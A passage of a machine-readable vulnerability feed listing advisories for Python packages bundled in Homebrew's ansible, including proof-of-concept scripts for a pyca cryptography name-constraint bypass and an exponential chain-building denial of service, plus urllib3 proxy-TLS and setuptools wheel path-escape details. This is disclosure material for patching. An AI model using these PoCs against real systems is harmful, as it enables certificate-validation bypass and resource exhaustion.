PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes — a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69248"},{"type":"WEB","url":"https://github.com/pyca/cryptography/pull/14888"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/286c89128"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-69249","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:55Z","upstream":["GHSA-jwv3-5hgf-82ww","CVE-2026-69249","PYSEC-2026-3553"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0_4"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"49.0.0","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"python-cryptography: Duplicate self-signed intermediates can cause exponential path-building","details":"### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n        &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n        current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n        name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n        }\n\n        // Look in the store's root set to see if the working cert is listed.\n        // If it is, we've reached the end.\n        if self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n        }\n\n        // Check that our current depth does not exceed our policy-configured\n        // max depth. We do this after the root set check, since the depth\n        // only measures the intermediate chain's length, not the root or leaf.\n        if current_depth > self.policy.max_chain_depth {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n                \"chain construction exceeds max depth\".into(),\n            )));\n        }\n\n        // Otherwise, we collect a list of potential issuers for this cert,\n        // and continue with the first that verifies.\n        let mut last_err: Option<ValidationError<'_, B>> = None;\n        for issuing_cert_candidate in self.potential_issuers(working_cert) {\n            // A candidate issuer is said to verify if it both\n            // signs for the working certificate and conforms to the\n            // policy.\n            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n            match self.policy.valid_issuer(\n                issuing_cert_candidate,\n                working_cert,\n                current_depth,\n                &issuer_extensions,\n            ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_) => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate) {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n                          // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924 -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193 -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,       -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n    decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n    encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n        .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n        .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n        .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    subject = name(common_name)\n    cert = (\n        base_builder(subject, subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n            False,\n        )\n        .sign(private_key, hashes.SHA256())\n    )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n        base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n            False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n    looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key, looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n    verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n        .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n    )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf, [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n        result = \"rejected\"\n    queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n    process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates, max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n    if process.is_alive():\n        process.terminate()\n        process.join()\n        print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n    result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n        run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69249"},{"type":"WEB","url":"https://github.com/pyca/cryptography/pull/14960"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/3763aa79b"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-97687","published":"2026-09-30T19:48:27Z","modified":"2026-10-02T09:44:35Z","upstream":["GHSA-8988-9cw3-xx77","CVE-2026-97687","PYSEC-2026-4175"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","details":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97687"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/5093"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-97689","published":"2026-09-30T19:48:27Z","modified":"2026-10-02T09:44:35Z","upstream":["GHSA-vxq7-64xx-v4gw","CVE-2026-97689","PYSEC-2026-4177"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","details":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97689"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-GHSA-xmj3-9gf7-h52w","published":"2026-10-29T21:53:03Z","modified":"2026-10-29T21:53:03Z","upstream":["GHSA-xmj3-9gf7-h52w"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"84.1.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@80.9.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"80.9.0","key":"pkg:pypi/setuptools@80.9.0","resource":"setuptools"}]},"summary":"setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation  Description","details":"### Summary\n\nOn Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.\n\n### Details\n\nTested setuptools commit:\n\n`6ead555c5fb29bc57fe6105b1bffc163f56fd558`\n\nRelevant source:\n\n`setuptools/wheel.py`\n\nSHA-256:\n\n`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`\n\nThe relevant call path is:\n\n`Wheel(wheel_path).install_as_egg(destination)`\n→ `_install_as_egg`\n→ `_convert_metadata`\n→ `_fix_namespace_packages`\n\nA wheel can provide attacker-controlled content in:\n\n`<distribution>.dist-info/namespace_packages.txt`\n\nThe namespace value is eventually used approximately as:\n\n```python\nmod_dir = os.path.join(destination_eggdir, *mod.split('.'))\nmod_init = os.path.join(mod_dir, '__init__.py')\n\nIf mod is a Windows drive-qualified absolute path containing no dots,\nmod.split('.') preserves it as a single component.\nOn Windows, os.path.join(destination_eggdir, absolute_component) discards\nthe original base directory and resolves to the attacker-supplied absolute\npath.\nThe existing wheel filename and ZIP traversal checks do not validate this\nmetadata value before it is subsequently interpreted as a filesystem path.\n\n```markdown\n### PoC\n\nThe reproduction was performed entirely inside a disposable temporary\ndirectory.\n\nLayout:\n\n```text\nsandbox/\n    destination/\n    outside/\n    input/\n    canary.txt\n```\n\nA synthetic wheel was created containing:\n\n`demo_pkg-1.0.dist-info/namespace_packages.txt`\n\nwhose content was the absolute path of:\n\n`sandbox\\outside`\n\nThe real acquired setuptools implementation was then invoked:\n\n```python\nsetuptools.wheel.Wheel(synthetic_wheel).install_as_egg(\n    sandbox_destination\n)\n```\n\nThe operation completed without exception.\n\nExpected metadata was created under:\n\n`sandbox\\destination\\EGG-INFO`\n\nbut setuptools also created:\n\n`sandbox\\outside\\__init__.py`\n\nThe file did not exist before execution.\n\nIts contents were:\n\n```python\n__import__('pkg_resources').declare_namespace(__name__)\n```\n\nThe unrelated canary remained byte-identical.\n\nThe sandbox was deleted after recording the evidence.\n```\n\n\n### Impact\n\nA crafted wheel can cause setuptools to create a fixed-content\n`__init__.py` outside the intended installation directory at a\nfilesystem path influenced by the wheel, with the permissions of the\nprocess performing the installation.\n\nThe demonstrated reproduction required the target parent directory to\nalready exist.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-xmj3-9gf7-h52w"},{"type":"WEB","url":"https://github.com/pypa/setuptools/pull/5329"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/6d07b8d17890dda58d944ac51e58f54af92d52af"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v84.1.0"}]}],"ansible@12":[{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2013-2233","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-9x6q-5423-w5v9","CVE-2013-2233","PYSEC-2018-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to cache SSH host keys","details":"Ansible before 1.2.1 makes it easier for remote attackers to conduct man-in-the-middle attacks by leveraging failure to cache SSH host keys.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2233"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/857"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=980821"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9x6q-5423-w5v9"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-36.yaml"},{"type":"WEB","url":"https://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/01/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/02/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2013-4259","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-fj24-ghp9-39v3","CVE-2013-4259","PYSEC-2013-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"}]},"summary":"Ansible uses a socket with predictable filename in /tmp","details":"`runner/connection_plugins/ssh.py` in Ansible before 1.2.3, when using `ControlPersist`, allows local users to redirect a ssh session via a symlink attack on a socket file with a predictable name in 